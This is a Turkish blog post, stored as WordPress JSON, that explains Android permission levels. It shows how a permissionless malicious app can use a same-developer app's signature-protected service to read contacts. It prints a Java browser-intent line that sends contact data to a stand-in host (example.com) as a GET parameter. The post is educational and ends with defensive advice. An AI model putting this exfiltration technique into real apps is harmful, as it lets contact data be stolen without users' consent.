{"id":1163,"date":"2015-10-04T02:39:47","date_gmt":"2015-10-03T23:39:47","guid":{"rendered":"https:\/\/furkansandal.com\/androidde-izin-almadan-izin-kullanmak\/"},"modified":"2015-10-04T02:39:47","modified_gmt":"2015-10-03T23:39:47","slug":"androidde-izin-almadan-izin-kullanmak","status":"publish","type":"post","link":"https:\/\/furkansandal.com\/androidde-izin-almadan-izin-kullanmak\/","title":{"rendered":"Android&#039;de \u0130zin Almadan \u0130zin Kullanmak"},"content":{"rendered":"<div id=\"post-body-1074933726275177362\" itemprop=\"description articleBody\" readability=\"145.5\">\n<div style=\"text-align: justify;\" readability=\"18\">\n<a href=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/android-permission.png?ssl=1\" imageanchor=\"1\" style=\"clear: left; float: left; margin-bottom: 1em; margin-right: 1em;\"><img loading=\"lazy\" decoding=\"async\" border=\"0\" src=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/android-permission.png?resize=175%2C200&#038;ssl=1\" height=\"200\" width=\"175\" data-recalc-dims=\"1\" \/><\/a>Android&#8217;in en temel g\u00fcvenlik mekanizmalar\u0131ndan biri <b>Android \u0130zin Modeli<\/b>&#8216;dir (<b>Android Permission Model<\/b>) Android Permission Model korunan kaynaklara uygulamalar\u0131n direkt olarak eri\u015fmesini engelleyen ve bu eri\u015fimin i\u015fletim sistemi \u00fczerinden y\u00fcr\u00fct\u00fclmesini sa\u011flayan bir mekanizmad\u0131r. Bu korunan kaynaklar SMS&#8217;ler, telefon rehberi, internet eri\u015fimi gibi kaynaklard\u0131r.<\/p>\n<p>Korunan kaynaklara eri\u015fim i\u00e7in uygulama izin talep etmelidir. Talep edilen bu izin kullan\u0131c\u0131 taraf\u0131ndan uygulama kurulumu s\u0131ras\u0131nda onaylanmal\u0131d\u0131r. Ancak bu sayede uygulama korunan kaynaklara i\u015fletim sistemi \u00fczerinden eri\u015fim sa\u011flayabilir. A\u015fa\u011f\u0131daki ekran g\u00f6r\u00fcnt\u00fcs\u00fc Maps uygulamas\u0131n\u0131n y\u00fcklenmesi s\u0131ras\u0131nda geli\u015ftiricinin talep etti\u011fi izinleri g\u00f6stermektedir.<\/p>\n<\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\">\n<a href=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/maps_permission.png?ssl=1\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"><img loading=\"lazy\" decoding=\"async\" border=\"0\" src=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/maps_permission.png?resize=240%2C400&#038;ssl=1\" height=\"400\" width=\"240\" data-recalc-dims=\"1\" \/><\/a><\/div>\n<p>\n<br \/>Android izin modeline g\u00f6re izinler y\u00fckleme s\u0131ras\u0131nda toplu olarak verilir ve daha sonra geri al\u0131namaz. Uygulamaya verilen yetkilerin geri al\u0131nabilmesi i\u00e7in uygulaman\u0131n cihazdan kald\u0131r\u0131lmas\u0131 gerekmektedir. Ayn\u0131 uygulama tekrar kurulmak istendi\u011finde yine talep edilen izinler kullan\u0131c\u0131ya sorulacakt\u0131r.<\/p>\n<p>\nUygulama geli\u015ftiriciler talep ettikleri izinleri AndroidManifest.XML dosyas\u0131 i\u00e7erisinde tan\u0131mlarlar.\u00a0<\/p>\n<div style=\"text-align: justify;\" readability=\"8\">\nTelep edilen izinler  tag&#8217;i kullan\u0131larak uygulaman\u0131n AndroidManifest.XML dosyas\u0131 i\u00e7erisinde tan\u0131mlan\u0131r.<\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\">\n<a href=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/untitled.png?ssl=1\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"><img loading=\"lazy\" decoding=\"async\" alt=\"AndroidManifestxml\" border=\"0\" src=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/untitled.png?resize=640%2C492&#038;ssl=1\" height=\"492\" title=\"AndroidManifestxml\" width=\"640\" data-recalc-dims=\"1\" \/><\/a><\/div>\n<p>\n<br \/>Yukar\u0131daki resim bir AndroidManifest.XML dosyas\u0131 i\u00e7eri\u011finden bir kesittir. Resim incelendi\u011finde uygulaman\u0131n READ_CONTACTS, INTERNET, ACCESS_NETWORK_STATE, SEND_SMS, RECEIVE_SMS ve RECORD_AUDIO izinlerini talep etti\u011fi g\u00f6r\u00fclmektedir. \u0130zinlerin adlar\u0131, yapt\u0131klar\u0131 i\u015flemler i\u00e7in a\u00e7\u0131klay\u0131c\u0131d\u0131r.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_55 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\" role=\"button\"><label for=\"item-6637412e5142f\" ><span class=\"\"><span style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input aria-label=\"Toggle\" aria-label=\"item-6637412e5142f\"  type=\"checkbox\" id=\"item-6637412e5142f\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/furkansandal.com\/androidde-izin-almadan-izin-kullanmak\/#Android_Izin_Seviyeleri\" title=\"\nAndroid \u0130zin Seviyeleri\">\nAndroid \u0130zin Seviyeleri<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/furkansandal.com\/androidde-izin-almadan-izin-kullanmak\/#Android_Uygulama_Komponentleri\" title=\"\nAndroid Uygulama Komponentleri\">\nAndroid Uygulama Komponentleri<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/furkansandal.com\/androidde-izin-almadan-izin-kullanmak\/#Android_Izin_Tanimlama\" title=\"\nAndroid \u0130zin Tan\u0131mlama\">\nAndroid \u0130zin Tan\u0131mlama<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/furkansandal.com\/androidde-izin-almadan-izin-kullanmak\/#Saldiri_Vektoru\" title=\"\nSald\u0131r\u0131 Vekt\u00f6r\u00fc\">\nSald\u0131r\u0131 Vekt\u00f6r\u00fc<\/a><\/li><\/ul><\/nav><\/div>\n<h3><span class=\"ez-toc-section\" id=\"Android_Izin_Seviyeleri\"><\/span>\nAndroid \u0130zin Seviyeleri<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Android&#8217;de izinlerin 4 seviyesi bulunmaktad\u0131r.<\/p>\n<p>\n<span style=\"color: #bf9000;\"><b>Normal:<\/b><\/span> Kullan\u0131c\u0131ya ciddi bir zarar vermeyecek izinler. (duvar ka\u011f\u0131d\u0131 de\u011fi\u015ftirmek vb.) Kullan\u0131c\u0131 onay\u0131 al\u0131nmaz.<\/p>\n<p>\n<span style=\"color: #990000;\"><b>Dangerous:<\/b><\/span> Kullan\u0131c\u0131ya zarar verebilecek izinler. Maddi kar\u015f\u0131l\u0131\u011f\u0131 olabilecek izinler (SMS, telefon, internet). Kullan\u0131c\u0131 onay\u0131 gerekir\u00a0<\/p>\n<p>\n<span style=\"color: #0b5394;\"><b>Signature: <\/b><\/span>Ayn\u0131 geli\u015ftirici sertifikas\u0131yla imzalanm\u0131\u015f uygulamalarda kullan\u0131c\u0131ya sorulmadan otomatik olarak izinler verilir.<\/p>\n<p>\n<span style=\"color: #741b47;\"><b>Signature\/System:<\/b><\/span> <span style=\"color: #0b5394;\"><b>Signature<\/b><\/span> seviyesi ile ayn\u0131d\u0131r. Ek olarak Android system imaj\u0131 i\u00e7erisindeki uygulamalara ait haklar i\u00e7in de kullan\u0131c\u0131 onay\u0131 al\u0131nmamas\u0131n\u0131 sa\u011flar.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Android_Uygulama_Komponentleri\"><\/span>\nAndroid Uygulama Komponentleri<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Android uygulamalar\u0131nda temel olarak 5 adet komponent vard\u0131r. Bu komponentler uygulamalar\u0131n yap\u0131 ta\u015flar\u0131 olarak adland\u0131r\u0131labilir.<\/p>\n<p>\n<b>Activity:<\/b> Uygulaman\u0131n her bir ekran\u0131 Activity olarak adland\u0131r\u0131l\u0131r.\u00a0<\/p>\n<p>\n<b>Service:<\/b> Arka planda (uzun s\u00fcreli) \u00e7al\u0131\u015fan uygulamalard\u0131r. Kullan\u0131c\u0131 aray\u00fcz\u00fc yoktur. Windows&#8217;taki service yap\u0131s\u0131yla benzer bir yap\u0131dad\u0131r.\u00a0<\/p>\n<p>\n<b>Broadcast Receiver:<\/b> Sistem geneli broadcast\u2019leri yakalayan ve aksiyon g\u00f6steren komponenttir. Herhangi bir event (olay) olmas\u0131 durumunda yay\u0131nlanan broadcast mesajlar\u0131n\u0131 yakay\u0131p aksiyon al\u0131nmas\u0131n\u0131 sa\u011flayan yap\u0131 Broadcast Receiver yap\u0131s\u0131d\u0131r.<\/p>\n<p>\n<b>Content Provider:<\/b> Uygulama verilerinin payla\u015f\u0131lmas\u0131n\u0131 ve eri\u015filebilir olmas\u0131n\u0131 sa\u011flayan komponenttir. Ad\u0131ndan da anla\u015f\u0131laca\u011f\u0131 \u00fczere Content provider sayesinde herhangi bir uygulamaya ait veri, di\u011fer uygulamalar ile payla\u015f\u0131labilir.<br \/><b>Intent:<\/b> Uygulamalar aras\u0131 veya uygulama i\u00e7i komponentler aras\u0131 haberle\u015fmeyi sa\u011flayan yap\u0131d\u0131r.\u00a0<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Android_Izin_Tanimlama\"><\/span>\nAndroid \u0130zin Tan\u0131mlama<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<div style=\"text-align: justify;\" readability=\"16\">\nAndroid KitKat 4.4 &#8211; API seviye 19&#8217;ta tan\u0131ml\u0131 145 tane izin bulunmaktad\u0131r. Bu izinler d\u0131\u015f\u0131nda uygulama geli\u015ftiricisi kendi uygulamas\u0131n\u0131n komponentlerini kendi tan\u0131mlad\u0131\u011f\u0131 bir izinle koruyabilir. Uygulamaya ait bir veri, izin seviyesi belirtilerek koruma alt\u0131na al\u0131nabilir. Tan\u0131mlama i\u015flemi <b>&lt;permission&gt;<\/b> tagi ile yap\u0131l\u0131r. A\u015fa\u011f\u0131daki resimde SECRET ad\u0131nda bir permission tan\u0131mlanm\u0131\u015f ve tan\u0131mlanan bu permission ile uygulaman\u0131n FirstAppMainActivty ad\u0131ndaki activity&#8217;si koruma alt\u0131na al\u0131nm\u0131\u015ft\u0131r. Bu durum \u015fu anlama gelmektedir. Bu uygulaman\u0131n FirstAppMainActivty ad\u0131ndaki activity&#8217;sine SECRET permission&#8217;una sahip olmayan kimse eri\u015femeycektir. SECRET permission&#8217;unun seviyesi de &#8220;signature&#8221; oldu\u011fundan bu uygulama ile ayn\u0131 developer imzas\u0131na sahip olan uygulamalara bu yetkinin otomatik olarak (kullan\u0131c\u0131 onay\u0131 al\u0131nmadan) verilece\u011fi g\u00f6r\u00fclebilmektedir.<\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\">\n<a href=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/manifest.png?ssl=1\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"><img loading=\"lazy\" decoding=\"async\" border=\"0\" src=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/manifest.png?resize=640%2C328&#038;ssl=1\" height=\"328\" width=\"640\" data-recalc-dims=\"1\" \/><\/a><\/div>\n<div style=\"text-align: justify;\" readability=\"9\">\n<br \/>\nBir acitivty&#8217;nin korunmas\u0131 ile bak\u0131\u015fta anlams\u0131z gelebilir ancak bu izin tan\u0131mlama i\u015flemi di\u011fer t\u00fcm komponentler i\u00e7in de uygulanabilir bir y\u00f6ntemdir. Uygulamaya ait verilerin eri\u015filebilir olmas\u0131n\u0131 sa\u011flayan content provider&#8217;lar da benzer bir izin korumas\u0131yla korunabilmektedir.<\/div>\n<div style=\"text-align: justify;\" readability=\"9\">\nDetayl\u0131 incelendi\u011finde telefon rehberinin de asl\u0131nda bir content provider ile payla\u015f\u0131ld\u0131\u011f\u0131n\u0131n ve bu content provider&#8217;\u0131n READ_CONTACTS ve WRITE_CONTACTS izinleri ile korundu\u011fu g\u00f6r\u00fclebilir.<\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\">\n<a href=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/contacts.png?ssl=1\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"><img loading=\"lazy\" decoding=\"async\" border=\"0\" src=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/contacts.png?resize=241%2C400&#038;ssl=1\" height=\"400\" width=\"241\" data-recalc-dims=\"1\" \/><\/a><\/div>\n<div style=\"text-align: justify;\" readability=\"9\">\n<br \/>\nYani telefon i\u00e7erisindeki People (Contacts) uygulamas\u0131n\u0131n da asl\u0131nda telefon rehberi content provider&#8217;\u0131na eri\u015febilmek i\u00e7in READ_CONTACTS ve WRITE_CONTACTS izinlerini talep etti\u011fi bilinmelidir. A\u015fa\u011f\u0131daki resimde Contacts uygulamas\u0131n\u0131n ald\u0131\u011f\u0131 izinler g\u00f6r\u00fclebilir.<\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\">\n<a href=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/androidmanifestxml.png?ssl=1\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"><img loading=\"lazy\" decoding=\"async\" border=\"0\" src=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/androidmanifestxml.png?resize=640%2C296&#038;ssl=1\" height=\"296\" width=\"640\" data-recalc-dims=\"1\" \/><\/a><\/div>\n<h3><span class=\"ez-toc-section\" id=\"Saldiri_Vektoru\"><\/span>\nSald\u0131r\u0131 Vekt\u00f6r\u00fc<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Yukar\u0131da belirtilen konular birle\u015ftirildi\u011finde bir sald\u0131r\u0131 vekt\u00f6r\u00fc olu\u015fmaktad\u0131r. Sald\u0131r\u0131 senaryosu \u015fu \u015fekildedir:<\/p>\n<div readability=\"50\">\n<p>\nMasum ancak yetki talep eden bir uygulama bulunmaktad\u0131r. Bu uygulama <b>First<\/b> olarak adland\u0131r\u0131lmaktad\u0131r. Ayn\u0131 developer taraf\u0131ndan geli\u015ftirilen ve herhangi bir izin talep etmemesine ra\u011fmen k\u00f6t\u00fc niyetli olan bir di\u011fer uygulama daha bulunmaktad\u0131r. Bu uygulama <b>Second<\/b> olarak adland\u0131r\u0131lmaktad\u0131r.<\/p>\n<div style=\"text-align: justify;\" readability=\"9\">\nFirst uygulamas\u0131 kullan\u0131c\u0131dan READ_CONTACTS yetkisi talep etmektedir. First uygulamas\u0131nda bir Service komponenti bulunmaktad\u0131r ve bu service SecretService ad\u0131ndaki bir izin ile koruma alt\u0131na al\u0131nm\u0131\u015ft\u0131r. \u0130zin seviyesi de Signature seviyesindedir.<\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\">\n<a href=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/+firstmanifest+.png?ssl=1\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"><img loading=\"lazy\" decoding=\"async\" border=\"0\" src=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/+firstmanifest+.png?resize=640%2C330&#038;ssl=1\" height=\"330\" width=\"640\" data-recalc-dims=\"1\" \/><\/a><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\">\n<a href=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/firstapp.png?ssl=1\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"><img loading=\"lazy\" decoding=\"async\" border=\"0\" src=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/firstapp.png?resize=445%2C640&#038;ssl=1\" height=\"640\" width=\"445\" data-recalc-dims=\"1\" \/><\/a><\/div>\n<p>\nSecond uygulamas\u0131 ise <b>AndroidManifest.XML<\/b> dosyas\u0131 i\u00e7erisinde First uygulamas\u0131n\u0131n servisine eri\u015fim i\u00e7in gerekli olan SecretService yetkisi d\u0131\u015f\u0131nda hi\u00e7bir yetki talep etmemektedir. Zaten bu izin de uygulama kurulurken signature olarak tan\u0131mland\u0131\u011f\u0131ndan kullan\u0131c\u0131 onay\u0131 al\u0131nmadan verilecektir.<\/p>\n<div class=\"separator\" style=\"clear: both; text-align: center;\">\n<a href=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/secondappmanifest.png?ssl=1\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"><img loading=\"lazy\" decoding=\"async\" border=\"0\" src=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/secondappmanifest.png?resize=640%2C404&#038;ssl=1\" height=\"404\" width=\"640\" data-recalc-dims=\"1\" \/><\/a><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\">\n<a href=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/secondapp.png?ssl=1\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"><img loading=\"lazy\" decoding=\"async\" border=\"0\" src=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/secondapp.png?resize=442%2C640&#038;ssl=1\" height=\"640\" width=\"442\" data-recalc-dims=\"1\" \/><\/a><\/div>\n<p>\n<br \/>Yukar\u0131daki resimde Second uygulamas\u0131n\u0131n kurulurken kullan\u0131c\u0131dan hi\u00e7bir izin istemedi\u011fi g\u00f6r\u00fclmektedir.<\/p>\n<p>\nFirst uygulamas\u0131 i\u00e7erisindeki korunan servis ise kendisine gelen istek \u00fczerine sahip oldu\u011fu READ_CONTACTS yetkisini kullanarak telefon rehberini almakta ve kendisine istekte bulunan uygulama veya komponente iletmektedir.<\/p>\n<div style=\"text-align: justify;\" readability=\"9\">\nSecond uygulamas\u0131 i\u015fte bu servise Signature koruma seviyesindeki bir izinle eri\u015fme hakk\u0131na sahiptir. Dolay\u0131s\u0131yla Second uygulamas\u0131 First uygulamas\u0131n\u0131n servisi \u00fczerinden telefon rehberine eri\u015fmektedir.<\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\">\n<a href=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/secondapp2.png?ssl=1\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"><img loading=\"lazy\" decoding=\"async\" border=\"0\" src=\"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/secondapp2.png?resize=400%2C226&#038;ssl=1\" height=\"226\" width=\"400\" data-recalc-dims=\"1\" \/><\/a><\/div>\n<p>\nAyr\u0131ca Second uygulamas\u0131 cihaz\u0131n taray\u0131c\u0131s\u0131na bir intent g\u00f6ndererek istedi\u011fi herhangi bir web sayfas\u0131n\u0131 \u00e7a\u011f\u0131rmas\u0131n\u0131 sa\u011flayabilmektedir. Bu durumda art\u0131k Second uygulamas\u0131 arkaplana al\u0131nmakta ve web taray\u0131c\u0131 uygulamas\u0131 a\u00e7\u0131lmaktad\u0131r.\u00a0<\/p>\n<p><span style=\"color: #990000; font-family: Courier New, Courier, monospace;\">Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(&#8220;<b>http:\/\/www.example.com<\/b>&#8220;));<\/span><\/p>\n<div style=\"text-align: justify;\" readability=\"9\">\n<br \/>\nTelefon rehberi datas\u0131n\u0131n bir String ifadesi ile browser taraf\u0131ndan a\u00e7\u0131lacak sayfa adresine parametre olarak verilmesi durumunda istenilen web sunucusuna web browser \u00fczerinden istenilen parametre ile bir GET talebi g\u00f6nderilebilmektedir.<\/div>\n<p><span style=\"font-family: Courier New, Courier, monospace;\"><span style=\"color: #990000;\">Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(&#8220;<\/span><b><span style=\"color: #990000;\">http:\/\/www.example.com<\/span><span style=\"color: #0b5394;\">?param=[Ali Veli:11122233344]<\/span><\/b><span style=\"color: #990000;\">&#8220;));<\/span><\/span><\/p>\n<div style=\"text-align: justify;\" readability=\"11\">\n<p>\n<br \/>Bu i\u015flemi yapmak i\u00e7in ise uygulaman\u0131n herhangi bir izin talep etmesine gerek yoktur. INTERNET izni, uygulama i\u00e7erisinden internet ba\u011flant\u0131s\u0131 kurulaca\u011f\u0131 zaman talep edilmektedir. Bu durumda ise Second uygulmas\u0131 i\u00e7erisinden herhangi bir internet eri\u015fimi yap\u0131lmamaktad\u0131r. \u0130nternet eri\u015fimini yapan web taray\u0131c\u0131s\u0131d\u0131r ve web taray\u0131c\u0131s\u0131n\u0131n INTERNET izni bulunmaktad\u0131r. Second uygulamas\u0131 sadece web taray\u0131c\u0131s\u0131 uygulamas\u0131na hangi web sayfas\u0131na ba\u011flanaca\u011f\u0131n\u0131 s\u00f6ylemektedir.<\/p>\n<\/div>\n<p>\nBuradaki tek detay Second uygulamas\u0131n\u0131n bu HTTP talebini g\u00f6ndermesi durumunda kendisinin kapan\u0131p web taray\u0131c\u0131n\u0131n a\u00e7\u0131l\u0131yor olmas\u0131d\u0131r. Dolay\u0131s\u0131yla b\u00f6yle bir y\u00f6ntem ile veri g\u00f6ndermeye \u00e7al\u0131\u015fan uygulaman\u0131n bu davran\u0131\u015f\u0131 kullan\u0131c\u0131 taraf\u0131ndan \u015f\u00fcphe ile kar\u015f\u0131lanacakt\u0131r. Ancak zararl\u0131 Second uygulamas\u0131 o anda emeline ula\u015fm\u0131\u015f ve kullan\u0131c\u0131 telefon rehberini alarak internet \u00fczerinden istedi\u011fi sunucuya g\u00f6ndermi\u015f olacakt\u0131r.<\/p>\n<p>\nYaz\u0131y\u0131 \u00f6zetlemek gerekirse ayn\u0131 developer taraf\u0131ndan geli\u015ftirilmi\u015f (imzalanm\u0131\u015f) biri zarars\u0131z ancak yetki sahibi; di\u011feri zararl\u0131 ama hi\u00e7bir izin talep etmeyen iki uygulama birlikte \u00e7al\u0131\u015farak zararl\u0131 bir i\u015flem ger\u00e7ekle\u015ftirebilmektedir. Zararl\u0131 uygulama hi\u00e7bir izin talep etmedi\u011fi halde masum uygulaman\u0131n haklar\u0131n\u0131 kullanabilmektedir. Signature seviyeli izin sayesinde ikinci uygulama hi\u00e7bir izin talep etmeden izin kullanabilmektedir.\u00a0<\/p>\n<p>\nKonunun zararl\u0131 yan\u0131na ek olarak geli\u015ftiricilerin dikkat etmesi gereken noktalardan birisi de herhangi bir komponenti d\u0131\u015far\u0131dan eri\u015fime a\u00e7arken mutlaka bir izin ile koruma gereklili\u011fidir. \u00d6zellikle korumas\u0131z servisler ve korumas\u0131z i\u00e7erik sa\u011flayac\u0131lar di\u011fer uygulamalar taraf\u0131ndan yetkisizce kullan\u0131labilmektedir.<\/p>\n<\/div>\n<\/div>\n<p><a href=\"https:\/\/furkansandal.com\">Ana Sayfa <\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Android&#8217;in en temel g\u00fcvenlik mekanizmalar\u0131ndan biri Android \u0130zin Modeli&#8216;dir (Android Permission Model) Android Permission Model korunan kaynaklara uygulamalar\u0131n direkt olarak&#8230;<\/p>\n","protected":false},"author":1,"featured_media":1164,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","footnotes":""},"categories":[6,1,9,10,3,7,4],"tags":[103,109,76,104,105,59,22,108,102,107,101,84,86,106],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/furkansandal.com\/wp-content\/uploads\/2015\/10\/android-permission.png?fit=260%2C297&ssl=1","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p6BM7I-iL","amp_enabled":true,"_links":{"self":[{"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/posts\/1163"}],"collection":[{"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/comments?post=1163"}],"version-history":[{"count":0,"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/posts\/1163\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/media\/1164"}],"wp:attachment":[{"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/media?parent=1163"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/categories?post=1163"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/tags?post=1163"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}